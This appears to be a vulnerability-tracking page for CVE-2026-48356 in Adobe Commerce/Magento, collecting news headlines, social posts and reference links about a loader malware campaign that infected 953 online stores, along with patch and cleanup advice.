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news gbhackers.com 2026-10-27 12:04 UTCHackers Abuse Magento CMS Blocks to Infect Online Stores and Evade Malware Detection - GBHackers NewsOpen source
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news cyberpress.org 2026-10-27 07:42 UTCHackers Plant Malicious Scripts in Magento Stores That Keep Running Even After Domain Blocks - Cyber PressOpen source
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social bsky.app @thebadgamer.bsky.social 2026-10-27 05:31 UTCMagento’s 953-store loader campaign calls for a CMS database check, backdoor removal and credential rotation, even on stores with current core patches.… https://www.trickyworld.in/computer-tricks/cyber-security/cve-2026-48356-cleanup-beyon…Open source
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news thehackernews.com 2026-10-26 18:12 UTCHackers Infect 953 Online Stores With Scanner-Evading JavaScript, Mostly on Magento - The Hacker NewsOpen source
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social infosec.exchange @offseq 2026-10-26 13:30 UTCHIGH severity: 953 Magento stores infected by loader malware since July 2025 🛒 Loader uses visitor fingerprinting and exploits CVE-2026-48356 & CVE-2025-54236. Inspect for rogue admin accounts, backdoors, and patch now. https://radar.offse…Open source
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news securityweek.com 2026-10-26 12:52 UTC953 Online Stores Infected in Long-Lasting Malware Campaign - SecurityWeekOpen source
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code github.com abraxas 2026-09-26 02:43 UTCabraxas/CVE-2026-48356Open source
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news techtimes.com 2026-07-19 07:00 UTCFirefox Exploit Code Goes Public as Chrome, Adobe, VMware Ship Emergency Patches - Tech TimesOpen source
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social bsky.app @cyberhub.blog 2026-07-16 05:37 UTC📌 CVE-2026-48356 - Adobe Commerce is affected by an Unrestricted Upload of File with Dangerous Type vulnerability that could result in arbitrary code execution in the co... https://www.cyberhub.blog/cves/CVE-2026-48356Open source
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social bsky.app @thecircuitry.to 2026-07-15 14:38 UTCAdobe Commerce is affected by critical vulnerability CVE-2026-48356, CVSS 9.6, that allows arbitrary code execution via unrestricted file uploads requiring user interaction.Open source
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social bsky.app @experiencedigest.bsky.social 2026-07-15 10:16 UTCCVE-2026-48356 (CRITICAL) CVSS 9.6: https://experiencedigest.org/2026/07/15/cve-critical-cvss.htmlOpen source
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news thehackernews.com 2026-07-15 07:00 UTCFirefox, Chrome, Adobe, and VMware Updates Fix Multiple Critical Security Flaws - The Hacker NewsOpen source
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social bsky.app @stackflag.bsky.social 2026-07-14 22:12 UTCCVE-2026-48356 - adobe commerce Adobe Commerce has a security issue where malicious files can be uploaded and potentially executed by a user. This could allow an attacker to gain control over a user's… Too many irrelevant or confusing CVEs…Open source
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news securityweek.com 2026-07-14 07:00 UTCAdobe Patches Critical ColdFusion Vulnerabilities - SecurityWeekOpen source
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news theregister.com 2026-07-14 07:00 UTCPatchpocalypse Now: Microsoft tops last month's record with 622 Patch Tuesday CVEs - The RegisterOpen source
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news csoonline.com 2026-07-14 07:00 UTCPatch Tuesday roundup: Microsoft fixes a monthly record 569 holes; SAP patches a critical memory corruption bug - CSO OnlineOpen source
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-48356 |
| helpx.adobe.com |
GitHub CVE
vendor-advisory
|
https://helpx.adobe.com/security/products/magento/apsb26-73.html |
| sansec.io |
NVD API
|
https://sansec.io/research/magento-cms-block-loader-deepveindrilling#indicators-of-compromise |
| sansec.io |
NVD API
|
https://sansec.io/research/polyshell-mass-attack-wave |
| cisa.gov |
NVD API
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-48356 |